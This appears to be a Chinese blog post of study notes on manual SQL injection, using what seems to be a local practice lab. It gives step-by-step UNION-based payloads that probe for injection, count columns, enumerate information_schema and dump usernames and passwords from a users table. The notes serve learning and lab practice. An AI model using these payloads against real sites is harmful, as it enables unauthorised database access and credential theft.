zoukankan      html  css  js  c++  java
  • SQL注入学习笔记

    从网页传入参数注入

    这是SQL注入中最常见的方法,并且根据该注入原理有跟多SQL注入工具

    同样,首先应测试是否存在注入漏洞,简单的:’ 或 and 1=1 and 1=2之类的SQL语句。

    如果没有检测,直接运行SQL语句,说明有机会注入。

    从参数注入,简单的测试方法是:

    ① http://www.xxx.com/index.php?id=2

    ② http://www.xxx.com/index.php?id=2' and 1=1

    ③ http://www.xxx.com/index.php?id=2' and 1=2

    可以注入的表现:

    ① 正常显示(这是必然的,不然程序就有错)

    ② 正常显示,内容基本与①相同

    ③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

    注入具体步骤示例:

    步骤:

    1 先判断是否有注入点 and 1=1 and 1=2

    2 再判断字段数量 order by x 如果页面回显正常,则字段数为 order by 后面的数字  http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+

    3 使用联合查询 union   

    用 union 语句查看当前是哪几位有效

    http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+

    4 根据有效位,更改这两位变量进行查询 

      1 select @@basedir 查询数据库安装路径

      2 select @@datadir 查询数据库所在目录

      3 select version() 查询数据库的版本

      4 select user() 查询当前数据库的使用用户

      5 select database() 当前使用数据库的名字

    5 查看当前数据库里有哪些表

    (补充:

      Mysql5.0以上版本手工注入

      Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库

      information_schema.schemata:存储mysql数据库下所有数据库的库名信息的表 (字段名为 schema_name的字段值)

      information_schema.tables:存储mysql数据库下所有数据库的表名信息的表 (字段名为 table_name:表名

      条件为 table_schema:数据库名 )

      information_schema.columns:存储mysql数据库下所有数据库的列名信息的表 (字段名为column_name:的字段值))

    6 根据查询到的有用信息表user,想查看其表中有哪些属性即列名。

    例如:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+

    7 查看users表里面具体的用户信息。

    http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+

    基本步骤:

    一、找到注入点;

    二、判断当前表的字段;

    三、用联合语句查看哪几位是有效位;

    四、查看当前数据库中有哪些表;

    五、查看表中有哪些属性;

    六、查看表中具体的数据信息

  • 相关阅读:
    java访问修饰符
    java中的String
    int与Integer的爱恨情仇
    vs中动态DLL与静态LIB工程中加入版本信息的方法
    从页面中取出email地址和相对链接及绝对链接的代码...
    Web文件的ContentType类型大全
    将web站点下的绝对路径转换为虚拟路径_asp.net技巧
    在ASP.NET中重写URL 方法三:在IIS7中使用HttpModule 实现无扩展名的URL重写
    CSS中常用的选择器及三大特性
    JS“轮播图”
  • 原文地址:https://www.cnblogs.com/shadow-97z/p/9209130.html
Copyright © 2011-2022 走看看